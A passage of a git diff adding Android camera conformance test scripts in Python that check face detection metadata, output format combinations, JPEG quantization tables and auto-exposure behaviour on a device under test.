+  l, r = face['bounds']['left'], face['bounds']['right']
+  t, b = face['bounds']['top'], face['bounds']['bottom']
+  l_eye_x, l_eye_y = face['leftEye']['x'], face['leftEye']['y']
+  r_eye_x, r_eye_y = face['rightEye']['x'], face['rightEye']['y']
+  mouth_x, mouth_y = face['mouth']['x'], face['mouth']['y']
+  if not l <= l_eye_x <= r:
+    raise AssertionError(f'Face l: {l}, r: {r}, left eye x: {l_eye_x}')
+  if not t <= l_eye_y <= b:
+    raise AssertionError(f'Face t: {t}, b: {b}, left eye y: {l_eye_y}')
+  if not l <= r_eye_x <= r:
+    raise AssertionError(f'Face l: {l}, r: {r}, right eye x: {r_eye_x}')
+  if not t <= r_eye_y <= b:
+    raise AssertionError(f'Face t: {t}, b: {b}, right eye y: {r_eye_y}')
+  if not l <= mouth_x <= r:
+    raise AssertionError(f'Face l: {l}, r: {r}, mouth x: {mouth_x}')
+  if not t <= mouth_y <= b:
+    raise AssertionError(f'Face t: {t}, b: {b}, mouth y: {mouth_y}')
+
+
+class FacesTest(its_base_test.ItsBaseTest):
+  """Tests face detection algorithms.
+
+  Allows NUM_TEST_FRAMES for face detection algorithm to find all faces.
+  Tests OFF, SIMPLE, and FULL modes if available.
+    OFF --> no faces should be found.
+    SIMPLE --> face(s) should be found, but no landmarks.
+    FULL --> face(s) should be found and face landmarks reported.
+  """
+
+  def test_faces(self):
+    logging.debug('Starting %s', NAME)
+    with its_session_utils.ItsSession(
+        device_id=self.dut.serial,
+        camera_id=self.camera_id,
+        hidden_physical_id=self.hidden_physical_id) as cam:
+      props = cam.get_camera_properties()
+      props = cam.override_with_hidden_physical_camera_props(props)
+
+      # Load chart for scene.
+      its_session_utils.load_scene(
+          cam, props, self.scene, self.tablet, self.chart_distance)
+
+      camera_properties_utils.skip_unless(
+          camera_properties_utils.face_detect(props))
+      mono_camera = camera_properties_utils.mono_camera(props)
+      fd_modes = props['android.statistics.info.availableFaceDetectModes']
+      a = props['android.sensor.info.activeArraySize']
+      aw, ah = a['right'] - a['left'], a['bottom'] - a['top']
+      if camera_properties_utils.read_3a(props):
+        gain, exp, _, _, focus = cam.do_3a(
+            get_results=True, mono_camera=mono_camera)
+        logging.debug('iso = %d', gain)
+        logging.debug('exp = %.2fms', (exp * 1.0E-6))
+        if focus == 0.0:
+          logging.debug('fd = infinity')
+        else:
+          logging.debug('fd = %.2fcm', (1.0E2 / focus))
+      for fd_mode in fd_modes:
+        if not FD_MODE_OFF <= fd_mode <= FD_MODE_FULL:
+          raise AssertionError(f'fd_mode undefined: {fd_mode}')
+        req = capture_request_utils.auto_capture_request()
+        req['android.statistics.faceDetectMode'] = fd_mode
+        fmt = {'format': 'yuv', 'width': W, 'height': H}
+        caps = cam.do_capture([req] * NUM_TEST_FRAMES, fmt)
+        for i, cap in enumerate(caps):
+          fd_mode_md = cap['metadata']['android.statistics.faceDetectMode']
+          if fd_mode_md != fd_mode:
+            raise AssertionError('Metadata does not match request! '
+                                 f'Request: {fd_mode} metadata: {fd_mode_md}.')
+          faces = cap['metadata']['android.statistics.faces']
+
+          # 0 faces should be returned for OFF mode
+          if fd_mode == FD_MODE_OFF:
+            if faces:
+              raise AssertionError('Faces found in OFF mode.')
+            continue
+          # Save last frame.
+          if i == NUM_TEST_FRAMES - 1:
+            img = image_processing_utils.convert_capture_to_rgb_image(
+                cap, props=props)
+            img = image_processing_utils.rotate_img_per_argv(img)
+            img_name = '%s_fd_mode_%s.jpg' % (os.path.join(self.log_path,
+                                                           NAME), fd_mode)
+            image_processing_utils.write_image(img, img_name)
+            if not faces:
+              raise AssertionError(f'No face detected in mode {fd_mode}.')
+          if not faces:
+            continue
+
+          logging.debug('Frame %d face metadata:', i)
+          logging.debug('Faces: %s', faces)
+
+          face_scores = [face['score'] for face in faces]
+          face_rectangles = [face['bounds'] for face in faces]
+          for score in face_scores:
+            if not 1 <= score <= 100:
+              raise AssertionError(f'Face score not valid! score: {score}.')
+          # Face bounds should be within active array.
+          for j, rect in enumerate(face_rectangles):
+            logging.debug('Checking face rectangle %d', j)
+            check_face_bounding_box(rect, aw, ah)
+
+          # Face ID should be -1 for SIMPLE and unique for FULL
+          if fd_mode == FD_MODE_SIMPLE:
+            for face in faces:
+              if 'leftEye' in face or 'rightEye' in face:
+                raise AssertionError('Eyes not supported in FD_MODE_SIMPLE.')
+              if 'mouth' in face:
+                raise AssertionError('Mouth not supported in FD_MODE_SIMPLE.')
+              if face['id'] != -1:
+                raise AssertionError('face_id should be -1 in FD_MODE_SIMPLE.')
+          elif fd_mode == FD_MODE_FULL:
+            face_ids = [face['id'] for face in faces]
+            if len(face_ids) != len(set(face_ids)):
+              raise AssertionError('Same face detected more than 1x.')
+            # Face landmarks should be within face bounds
+            for k, face in enumerate(faces):
+              logging.debug('Checking landmarks in face %d: %s', k, str(face))
+              check_face_landmarks(face)
+
+if __name__ == '__main__':
+  test_runner.main()
diff --git a/apps/CameraITS2.0/tests/scene2_a/test_format_combos.py b/apps/CameraITS2.0/tests/scene2_a/test_format_combos.py
new file mode 100644
index 0000000..d299d09
--- /dev/null
+++ b/apps/CameraITS2.0/tests/scene2_a/test_format_combos.py
@@ -0,0 +1,163 @@
+# Copyright 2014 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+
+import logging
+import os
+import sys
+
+from mobly import test_runner
+
+import its_base_test
+import camera_properties_utils
+import capture_request_utils
+import image_processing_utils
+import its_session_utils
+import target_exposure_utils
+
+
+NAME = os.path.splitext(os.path.basename(__file__))[0]
+STOP_AT_FIRST_FAILURE = False  # change to True to have test break @ 1st FAIL
+
+
+class FormatCombosTest(its_base_test.ItsBaseTest):
+  """Test different combinations of output formats.
+
+  Note the test does not require a specific target but does perform
+  both automatic and manual captures so it requires a fixed scene
+  where 3A can converge.
+  """
+
+  def test_format_combos(self):
+    logging.debug('Starting %s', NAME)
+    with its_session_utils.ItsSession(
+        device_id=self.dut.serial,
+        camera_id=self.camera_id,
+        hidden_physical_id=self.hidden_physical_id) as cam:
+
+      props = cam.get_camera_properties()
+      props = cam.override_with_hidden_physical_camera_props(props)
+
+      # Load chart for scene
+      its_session_utils.load_scene(
+          cam, props, self.scene, self.tablet, self.chart_distance)
+
+      # Check skip conditions
+      camera_properties_utils.skip_unless(
+          camera_properties_utils.compute_target_exposure(props) and
+          camera_properties_utils.raw16(props))
+
+      successes = []
+      failures = []
+      debug = self.debug_mode
+
+      # Two different requests: auto, and manual.
+      e, s = target_exposure_utils.get_target_exposure_combos(
+          self.log_path, cam)['midExposureTime']
+      req_aut = capture_request_utils.auto_capture_request()
+      req_man = capture_request_utils.manual_capture_request(s, e)
+      reqs = [req_aut,  # R0
+              req_man]  # R1
+
+      # 10 different combos of output formats; some are single surfaces, and
+      # some are multiple surfaces.
+      wyuv, hyuv = capture_request_utils.get_available_output_sizes(
+          'yuv', props)[-1]
+      wjpg, hjpg = capture_request_utils.get_available_output_sizes(
+          'jpg', props)[-1]
+      fmt_yuv_prev = {'format': 'yuv', 'width': wyuv, 'height': hyuv}
+      fmt_yuv_full = {'format': 'yuv'}
+      fmt_jpg_prev = {'format': 'jpeg', 'width': wjpg, 'height': hjpg}
+      fmt_jpg_full = {'format': 'jpeg'}
+      fmt_raw_full = {'format': 'raw'}
+      fmt_combos = [
+          [fmt_yuv_prev],  # F0
+          [fmt_yuv_full],  # F1
+          [fmt_jpg_prev],  # F2
+          [fmt_jpg_full],  # F3
+          [fmt_raw_full],  # F4
+          [fmt_yuv_prev, fmt_jpg_prev],  # F5
+          [fmt_yuv_prev, fmt_jpg_full],  # F6
+          [fmt_yuv_prev, fmt_raw_full],  # F7
+          [fmt_yuv_prev, fmt_jpg_prev, fmt_raw_full],  # F8
+          [fmt_yuv_prev, fmt_jpg_full, fmt_raw_full]   # F9
+      ]
+
+      if camera_properties_utils.y8(props):
+        wy8, hy8 = capture_request_utils.get_available_output_sizes(
+            'y8', props)[-1]
+        fmt_y8_prev = {'format': 'y8', 'width': wy8, 'height': hy8}
+        fmt_y8_full = {'format': 'y8'}
+        fmt_combos.append([fmt_y8_prev])
+        fmt_combos.append([fmt_y8_full])
+
+      # Two different burst lengths: single frame, and 3 frames.
+      burst_lens = [
+          1,  # B0
+          3  # B1
+      ]
+
+      # There are 2xlen(fmt_combos)x2 different combinations.
+      # Run through them all.
+      n = 0
+      for r, req in enumerate(reqs):
+        for f, fmt_combo in enumerate(fmt_combos):
+          for b, burst_len in enumerate(burst_lens):
+            try:
+              caps = cam.do_capture([req] * burst_len, fmt_combo)
+              successes.append((n, r, f, b))
+              logging.debug('==> Success[%02d]: R%d F%d B%d', n, r, f, b)
+
+              # Dump the captures out to jpegs in debug mode.
+              if debug:
+                if not isinstance(caps, list):
+                  caps = [caps]
+                elif isinstance(caps[0], list):
+                  caps = sum(caps, [])
+                for c, cap in enumerate(caps):
+                  img = image_processing_utils.convert_capture_to_rgb_image(
+                      cap, props=props)
+                  img_name = '%s_n%02d_r%d_f%d_b%d_c%d.jpg' % (os.path.join(
+                      self.log_path, NAME), n, r, f, b, c)
+                  image_processing_utils.write_image(img, img_name)
+            # pylint: disable=broad-except
+            except Exception as e:
+              logging.error(e)
+              logging.error('==> Failure[%02d]: R%d F%d B%d', n, r, f, b)
+              failures.append((n, r, f, b))
+              if STOP_AT_FIRST_FAILURE:
+                sys.exit(1)
+            n += 1
+
+      num_fail = len(failures)
+      num_success = len(successes)
+      num_total = len(reqs)*len(fmt_combos)*len(burst_lens)
+      num_not_run = num_total - num_success - num_fail
+
+      logging.debug('Failures (%d / %d):', num_fail, num_total)
+      for (n, r, f, b) in failures:
+        logging.debug('  %02d: R%d F%d B%d', n, r, f, b)
+      logging.debug('Successes (%d / %d)', num_success, num_total)
+      for (n, r, f, b) in successes:
+        logging.debug('  %02d: R%d F%d B%d', n, r, f, b)
+      if num_not_run > 0:
+        logging.debug('Number of tests not run: %d / %d',
+                      num_not_run, num_total)
+
+      # The test passes if all the combinations successfully capture.
+      assert num_fail == 0
+      assert num_success == num_total
+
+if __name__ == '__main__':
+  test_runner.main()
diff --git a/apps/CameraITS2.0/tests/scene2_a/test_jpeg_quality.py b/apps/CameraITS2.0/tests/scene2_a/test_jpeg_quality.py
new file mode 100644
index 0000000..a46dde7
--- /dev/null
+++ b/apps/CameraITS2.0/tests/scene2_a/test_jpeg_quality.py
@@ -0,0 +1,279 @@
+# Copyright 2020 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+
+import logging
+import math
+import os.path
+
+from matplotlib import pylab
+import matplotlib.pyplot
+from mobly import test_runner
+import numpy as np
+
+import its_base_test
+import camera_properties_utils
+import capture_request_utils
+import image_processing_utils
+import its_session_utils
+
+JPEG_APPN_MARKERS = [[255, 224], [255, 225], [255, 226], [255, 227], [255, 228],
+                     [255, 229], [255, 230], [255, 231], [255, 232], [255, 235]]
+JPEG_DHT_MARKER = [255, 196]  # JPEG Define Huffman Table
+JPEG_DQT_MARKER = [255, 219]  # JPEG Define Quantization Table
+JPEG_DQT_TOL = 0.8  # -20% for each +20 in jpeg.quality (empirical number)
+JPEG_EOI_MARKER = [255, 217]  # JPEG End of Image
+JPEG_SOI_MARKER = [255, 216]  # JPEG Start of Image
+JPEG_SOS_MARKER = [255, 218]  # JPEG Start of Scan
+NAME = os.path.splitext(os.path.basename(__file__))[0]
+QUALITIES = [25, 45, 65, 85]
+SYMBOLS = ['o', 's', 'v', '^', '<', '>']
+
+
+def is_square(integer):
+  root = math.sqrt(integer)
+  return integer == int(root + 0.5)**2
+
+
+def strip_soi_marker(jpeg):
+  """Strip off start of image marker.
+
+  SOI is of form [xFF xD8] and JPEG needs to start with marker.
+
+  Args:
+   jpeg: 1-D numpy int [0:255] array; values from JPEG capture
+
+  Returns:
+    jpeg with SOI marker stripped off.
+  """
+
+  soi = jpeg[0:2]
+  if list(soi) != JPEG_SOI_MARKER:
+    raise AssertionError('JPEG has no Start Of Image marker')
+  return jpeg[2:]
+
+
+def strip_appn_data(jpeg):
+  """Strip off application specific data at beginning of JPEG.
+
+  APPN markers are of form [xFF, xE*, size_msb, size_lsb] and should follow
+  SOI marker.
+
+  Args:
+   jpeg: 1-D numpy int [0:255] array; values from JPEG capture
+
+  Returns:
+    jpeg with APPN marker(s) and data stripped off.
+  """
+
+  length = 0
+  i = 0
+  # find APPN markers and strip off payloads at beginning of jpeg
+  while i < len(jpeg) - 1:
+    if [jpeg[i], jpeg[i + 1]] in JPEG_APPN_MARKERS:
+      length = jpeg[i + 2] * 256 + jpeg[i + 3] + 2
+      logging.debug('stripped APPN length:%d', length)
+      jpeg = np.concatenate((jpeg[0:i], jpeg[length:]), axis=None)
+    elif ([jpeg[i], jpeg[i + 1]] == JPEG_DQT_MARKER or
+          [jpeg[i], jpeg[i + 1]] == JPEG_DHT_MARKER):
+      break
+    else:
+      i += 1
+
+  return jpeg
+
+
+def find_dqt_markers(marker, jpeg):
+  """Find location(s) of marker list in jpeg.
+
+  DQT marker is of form [xFF, xDB].
+
+  Args:
+    marker: list; marker values
+    jpeg: 1-D numpy int [0:255] array; JPEG capture w/ SOI & APPN stripped
+
+  Returns:
+    locs: list; marker locations in jpeg
+  """
+  locs = []
+  marker_len = len(marker)
+  for i in range(len(jpeg) - marker_len + 1):
+    if list(jpeg[i:i + marker_len]) == marker:
+      locs.append(i)
+  return locs
+
+
+def extract_dqts(jpeg, debug=False):
+  """Find and extract the DQT info in the JPEG.
+
+  SOI marker and APPN markers plus data are stripped off front of JPEG.
+  DQT marker is of form [xFF, xDB] followed by [size_msb, size_lsb].
+  Size includes the size values, but not the marker values.
+  Luma DQT is prefixed by 0, Chroma DQT by 1.
+  DQTs can have both luma & chroma or each individually.
+  There can be more than one DQT table for luma and chroma.
+
+  Args:
+   jpeg: 1-D numpy int [0:255] array; values from JPEG capture
+   debug: bool; command line flag to print debug data
+
+  Returns:
+    lumas,chromas: lists of numpy means of luma & chroma DQT matrices.
+    Higher values represent higher compression.
+  """
+
+  dqt_markers = find_dqt_markers(JPEG_DQT_MARKER, jpeg)
+  logging.debug('DQT header loc(s):%s', dqt_markers)
+  lumas = []
+  chromas = []
+  for i, dqt in enumerate(dqt_markers):
+    if debug:
+      logging.debug('DQT %d start: %d, marker: %s, length: %s', i, dqt,
+                    jpeg[dqt:dqt + 2], jpeg[dqt + 2:dqt + 4])
+    dqt_size = jpeg[dqt + 2] * 256 + jpeg[dqt + 3] - 2  # strip off size marker
+    if dqt_size % 2 == 0:  # even payload means luma & chroma
+      logging.debug(' both luma & chroma DQT matrices in marker')
+      dqt_size = (dqt_size - 2) // 2  # subtact off luma/chroma markers
+      assert is_square(dqt_size), 'DQT size: %d' % dqt_size
+      luma_start = dqt + 5  # skip header, length, & matrix id
+      chroma_start = luma_start + dqt_size + 1  # skip lumen &  matrix_id
+      luma = np.array(jpeg[luma_start: luma_start + dqt_size])
+      chroma = np.array(jpeg[chroma_start: chroma_start + dqt_size])
+      lumas.append(np.mean(luma))
+      chromas.append(np.mean(chroma))
+      if debug:
+        h = int(math.sqrt(dqt_size))
+        logging.debug(' luma:%s', luma.reshape(h, h))
+        logging.debug(' chroma:%s', chroma.reshape(h, h))
+    else:  # odd payload means only 1 matrix
+      logging.debug(' single DQT matrix in marker')
+      dqt_size = dqt_size - 1  # subtract off luma/chroma marker
+      if not is_square(dqt_size):
+        raise AssertionError(f'DQT size: {dqt_size}')
+      start = dqt + 5
+      matrix = np.array(jpeg[start:start + dqt_size])
+      if jpeg[dqt + 4]:  # chroma == 1
+        chromas.append(np.mean(matrix))
+        if debug:
+          h = int(math.sqrt(dqt_size))
+          logging.debug(' chroma:%s', matrix.reshape(h, h))
+      else:  # luma == 0
+        lumas.append(np.mean(matrix))
+        if debug:
+          h = int(math.sqrt(dqt_size))
+          logging.debug(' luma:%s', matrix.reshape(h, h))
+
+  return lumas, chromas
+
+
+def plot_data(qualities, lumas, chromas, img_name):
+  """Create plot of data."""
+  logging.debug('qualities: %s', str(qualities))
+  logging.debug('luma DQT avgs: %s', str(lumas))
+  logging.debug('chroma DQT avgs: %s', str(chromas))
+  pylab.title(NAME)
+  for i in range(lumas.shape[1]):
+    pylab.plot(
+        qualities, lumas[:, i], '-g' + SYMBOLS[i], label='luma_dqt' + str(i))
+    pylab.plot(
+        qualities,
+        chromas[:, i],
+        '-r' + SYMBOLS[i],
+        label='chroma_dqt' + str(i))
+  pylab.xlim([0, 100])
+  pylab.ylim([0, None])
+  pylab.xlabel('jpeg.quality')
+  pylab.ylabel('DQT luma/chroma matrix averages')
+  pylab.legend(loc='upper right', numpoints=1, fancybox=True)
+  matplotlib.pyplot.savefig('%s_plot.png' % img_name)
+
+
+class JpegQualityTest(its_base_test.ItsBaseTest):
+  """Test the camera JPEG compression quality.
+
+  Step JPEG qualities through android.jpeg.quality. Ensure quanitization
+  matrix decreases with quality increase. Matrix should decrease as the
+  matrix represents the division factor. Higher numbers --> fewer quantization
+  levels.
+  """
+
+  def test_jpeg_quality(self):
+    logging.debug('Starting %s', NAME)
+    # init variables
+    lumas = []
+    chromas = []
+
+    with its_session_utils.ItsSession(
+        device_id=self.dut.serial,
+        camera_id=self.camera_id,
+        hidden_physical_id=self.hidden_physical_id) as cam:
+
+      props = cam.get_camera_properties()
+      props = cam.override_with_hidden_physical_camera_props(props)
+      debug = self.debug_mode
+
+      # Load chart for scene
+      its_session_utils.load_scene(
+          cam, props, self.scene, self.tablet, self.chart_distance)
+
+      # Check skip conditions
+      camera_properties_utils.skip_unless(
+          camera_properties_utils.jpeg_quality(props))
+      cam.do_3a()
+
+      # do captures over jpeg quality range
+      req = capture_request_utils.auto_capture_request()
+      for q in QUALITIES:
+        logging.debug('jpeg.quality: %.d', q)
+        req['android.jpeg.quality'] = q
+        cap = cam.do_capture(req, cam.CAP_JPEG)
+        jpeg = cap['data']
+
+        # strip off start of image
+        jpeg = strip_soi_marker(jpeg)
+
+        # strip off application specific data
+        jpeg = strip_appn_data(jpeg)
+        logging.debug('remaining JPEG header:%s', jpeg[0:4])
+
+        # find and extract DQTs
+        lumas_i, chromas_i = extract_dqts(jpeg, debug)
+        lumas.append(lumas_i)
+        chromas.append(chromas_i)
+
+        # save JPEG image
+        img = image_processing_utils.convert_capture_to_rgb_image(
+            cap, props=props)
+        img_name = os.path.join(self.log_path, NAME)
+        image_processing_utils.write_image(img, '%s_%d.jpg' % (img_name, q))
+
+    # turn lumas/chromas into np array to ease multi-dimensional plots/asserts
+    lumas = np.array(lumas)
+    chromas = np.array(chromas)
+
+    # create plot of luma & chroma averages vs quality
+    plot_data(QUALITIES, lumas, chromas, img_name)
+
+    # assert decreasing luma/chroma with improved jpeg quality
+    for i in range(lumas.shape[1]):
+      l = lumas[:, i]
+      c = chromas[:, i]
+      if not all(y < x * JPEG_DQT_TOL for x, y in zip(l, l[1:])):
+        raise AssertionError(f'luma DQT avgs: {l}, TOL: {JPEG_DQT_TOL}')
+
+      if not all(y < x * JPEG_DQT_TOL for x, y in zip(c, c[1:])):
+        raise AssertionError(f'chroma DQT avgs: {c}, TOL: {JPEG_DQT_TOL}')
+
+if __name__ == '__main__':
+  test_runner.main()
diff --git a/apps/CameraITS2.0/tests/scene2_a/test_num_faces.py b/apps/CameraITS2.0/tests/scene2_a/test_num_faces.py
new file mode 100644
index 0000000..5d8eea1
--- /dev/null
+++ b/apps/CameraITS2.0/tests/scene2_a/test_num_faces.py
@@ -0,0 +1,135 @@
+# Copyright 2014 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+
+import logging
+import os.path
+from mobly import test_runner
+
+import its_base_test
+import camera_properties_utils
+import capture_request_utils
+import image_processing_utils
+import its_session_utils
+import cv2
+
+FD_MODE_OFF = 0
+FD_MODE_SIMPLE = 1
+FD_MODE_FULL = 2
+NAME = os.path.splitext(os.path.basename(__file__))[0]
+NUM_TEST_FRAMES = 20
+NUM_FACES = 3
+W, H = 640, 480
+
+
+def draw_face_rectangles(img, faces, aw, ah):
+  """Draw rectangles on top of image.
+
+  Args:
+    img:    image array
+    faces:  list of dicts with face information
+    aw:     int; active array width
+    ah:     int; active array height
+  Returns:
+    img with face rectangles drawn on it
+  """
+  for rect in [face['bounds'] for face in faces]:
+    top_left = (int(round(rect['left']*W/aw)),
+                int(round(rect['top']*H/ah)))
+    bot_rght = (int(round(rect['right']*W/aw)),
+                int(round(rect['bottom']*H/ah)))
+    cv2.rectangle(img, top_left, bot_rght, (0, 1, 0), 2)
+  return img
+
+
+class NumFacesTest(its_base_test.ItsBaseTest):
+  """Test face detection with different skin tones.
+  """
+
+  def test_num_faces(self):
+    """Test face detection."""
+    with its_session_utils.ItsSession(
+        device_id=self.dut.serial,
+        camera_id=self.camera_id,
+        hidden_physical_id=self.hidden_physical_id) as cam:
+      props = cam.get_camera_properties()
+      props = cam.override_with_hidden_physical_camera_props(props)
+
+      # Load chart for scene
+      its_session_utils.load_scene(
+          cam, props, self.scene, self.tablet, self.chart_distance)
+
+      # Check skip conditions
+      camera_properties_utils.skip_unless(
+          camera_properties_utils.face_detect(props))
+      mono_camera = camera_properties_utils.mono_camera(props)
+      fd_modes = props['android.statistics.info.availableFaceDetectModes']
+      a = props['android.sensor.info.activeArraySize']
+      aw, ah = a['right'] - a['left'], a['bottom'] - a['top']
+
+      if camera_properties_utils.read_3a(props):
+        _, _, _, _, _ = cam.do_3a(get_results=True, mono_camera=mono_camera)
+
+      for fd_mode in fd_modes:
+        assert FD_MODE_OFF <= fd_mode <= FD_MODE_FULL
+        req = capture_request_utils.auto_capture_request()
+        req['android.statistics.faceDetectMode'] = fd_mode
+        fmt = {'format': 'yuv', 'width': W, 'height': H}
+        caps = cam.do_capture([req]*NUM_TEST_FRAMES, fmt)
+        for i, cap in enumerate(caps):
+          md = cap['metadata']
+          assert md['android.statistics.faceDetectMode'] == fd_mode
+          faces = md['android.statistics.faces']
+
+          # 0 faces should be returned for OFF mode
+          if fd_mode == FD_MODE_OFF:
+            assert not faces
+            continue
+          # Face detection could take several frames to warm up,
+          # but should detect the correct number of faces in last frame
+          if i == NUM_TEST_FRAMES - 1:
+            img = image_processing_utils.convert_capture_to_rgb_image(
+                cap, props=props)
+            fnd_faces = len(faces)
+            logging.debug('Found %d face(s), expected %d.',
+                          fnd_faces, NUM_FACES)
+            # draw boxes around faces
+            img = draw_face_rectangles(img, faces, aw, ah)
+            # save image with rectangles
+            img_name = '%s_fd_mode_%s.jpg' % (os.path.join(self.log_path,
+                                                           NAME), fd_mode)
+            image_processing_utils.write_image(img, img_name)
+            assert fnd_faces == NUM_FACES
+          if not faces:
+            continue
+
+          logging.debug('Frame %d face metadata:', i)
+          logging.debug(' Faces: %s', str(faces))
+
+          # Reasonable scores for faces
+          face_scores = [face['score'] for face in faces]
+          for score in face_scores:
+            assert 1 <= score <= 100
+          # Face bounds should be within active array
+          face_rectangles = [face['bounds'] for face in faces]
+          for rect in face_rectangles:
+            assert rect['top'] < rect['bottom']
+            assert rect['left'] < rect['right']
+            assert 0 <= rect['top'] <= ah
+            assert 0 <= rect['bottom'] <= ah
+            assert 0 <= rect['left'] <= aw
+            assert 0 <= rect['right'] <= aw
+
+if __name__ == '__main__':
+  test_runner.main()
diff --git a/apps/CameraITS2.0/tests/scene2_b/scene2_b.pdf b/apps/CameraITS2.0/tests/scene2_b/scene2_b.pdf
new file mode 100644
index 0000000..9e9f960
--- /dev/null
+++ b/apps/CameraITS2.0/tests/scene2_b/scene2_b.pdf
Binary files differ
diff --git a/apps/CameraITS2.0/tests/scene2_b/scene2_b_0.5x_scaled.pdf b/apps/CameraITS2.0/tests/scene2_b/scene2_b_0.5x_scaled.pdf
new file mode 100644
index 0000000..3a5bd85
--- /dev/null
+++ b/apps/CameraITS2.0/tests/scene2_b/scene2_b_0.5x_scaled.pdf
Binary files differ
diff --git a/apps/CameraITS2.0/tests/scene2_b/scene2_b_0.67x_scaled.pdf b/apps/CameraITS2.0/tests/scene2_b/scene2_b_0.67x_scaled.pdf
new file mode 100644
index 0000000..706140a
--- /dev/null
+++ b/apps/CameraITS2.0/tests/scene2_b/scene2_b_0.67x_scaled.pdf
Binary files differ
diff --git a/apps/CameraITS2.0/tests/scene2_b/test_auto_per_frame_control.py b/apps/CameraITS2.0/tests/scene2_b/test_auto_per_frame_control.py
new file mode 100644
index 0000000..b947d4f
--- /dev/null
+++ b/apps/CameraITS2.0/tests/scene2_b/test_auto_per_frame_control.py
@@ -0,0 +1,304 @@
+# Copyright 2019 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+
+import logging
+import os.path
+import matplotlib
+from matplotlib import pylab
+from mobly import test_runner
+import numpy as np
+
+import its_base_test
+import camera_properties_utils
+import capture_request_utils
+import image_processing_utils
+import its_session_utils
+
+_AE_STATE_CONVERGED = 2
+_AE_STATE_FLASH_REQUIRED = 4
+_DELTA_GAIN_THRESH = 3  # >3% gain change --> luma change in same dir.
+_DELTA_LUMA_THRESH = 3  # 3% frame-to-frame noise test_burst_sameness_manual.
+_DELTA_NO_GAIN_THRESH = 1  # <1% gain change --> min luma change.
+_NAME = os.path.splitext(os.path.basename(__file__))[0]
+_NS_TO_MS = 1.0E-6
+_NUM_CAPS = 1
+_NUM_FRAMES = 30
+_PATCH_H = 0.1  # Center 10%.
+_PATCH_W = 0.1
+_PATCH_X = 0.5 - _PATCH_W/2
+_PATCH_Y = 0.5 - _PATCH_H/2
+_RAW_NIBBLE_SIZE = 6  # Used to increase NUM_CAPS & decrease NUM_FRAMES for RAW.
+_RAW_GR_CH = 1
+_VALID_LUMA_MIN = 0.1
+_VALID_LUMA_MAX = 0.9
+_YUV_Y_CH = 0
+
+
+def _check_delta_luma_vs_delta_gain(fmt, j, lumas, total_gains):
+  """Determine if luma and gain move together for current frame."""
+  delta_gain = total_gains[j] - total_gains[j-1]
+  delta_luma = lumas[j] - lumas[j-1]
+  delta_gain_rel = delta_gain / total_gains[j-1] * 100  # %
+  delta_luma_rel = delta_luma / lumas[j-1] * 100  # %
+  # luma and total_gain should change in same direction
+  if abs(delta_gain_rel) > _DELTA_GAIN_THRESH:
+    logging.debug('frame %d: %.2f%% delta gain, %.2f%% delta luma',
+                  j, delta_gain_rel, delta_luma_rel)
+    if delta_gain * delta_luma < 0.0:
+      return (f"{fmt['format']}: frame {j}: gain {total_gains[j-1]:.1f} "
+              f'-> {total_gains[j]:.1f} ({delta_gain_rel:.1f}%), '
+              f'luma {lumas[j-1]} -> {lumas[j]} ({delta_luma_rel:.2f}%) '
+              f'GAIN/LUMA OPPOSITE DIR')
+  elif abs(delta_gain_rel) < _DELTA_NO_GAIN_THRESH:
+    logging.debug('frame %d: <|%.1f%%| delta gain, %.2f%% delta luma', j,
+                  _DELTA_NO_GAIN_THRESH, delta_luma_rel)
+    if abs(delta_luma_rel) > _DELTA_LUMA_THRESH:
+      return (f"{fmt['format']}: frame {j}: gain {total_gains[j-1]:.1f} "
+              f'-> {total_gains[j]:.1f} ({delta_gain_rel:.1f}%), '
+              f'luma {lumas[j-1]} -> {lumas[j]} ({delta_luma_rel:.2f}%), '
+              f'<|{_DELTA_NO_GAIN_THRESH:.1f}%| GAIN, '
+              f'>|{_DELTA_LUMA_THRESH:.1f}%| LUMA DELTA')
+  else:
+    logging.debug('frame %d: %.1f%% delta gain, %.2f%% delta luma',
+                  j, delta_gain_rel, delta_luma_rel)
+    return None
+
+
+def _determine_test_formats(cam, props, raw_avlb, debug):
+  """Determines the capture formats to test.
+
+  Args:
+    cam: Camera capture object.
+    props: Camera properties dict.
+    raw_avlb: Boolean for if RAW captures are available.
+    debug: Boolean for whether in debug mode.
+  Returns:
+    fmts: List of formats.
+  """
+  largest_yuv = capture_request_utils.get_largest_yuv_format(props)
+  match_ar = (largest_yuv['width'], largest_yuv['height'])
+  fmt = capture_request_utils.get_smallest_yuv_format(
+      props, match_ar=match_ar)
+  if raw_avlb and debug:
+    return (cam.CAP_RAW, fmt)
+  else:
+    return (fmt,)
+
+
+def _tabulate_frame_data(metadata, luma, raw_cap, debug):
+  """Puts relevant frame data into a dictionary."""
+  ae_state = metadata['android.control.aeState']
+  iso = metadata['android.sensor.sensitivity']
+  isp_gain = metadata['android.control.postRawSensitivityBoost'] / 100
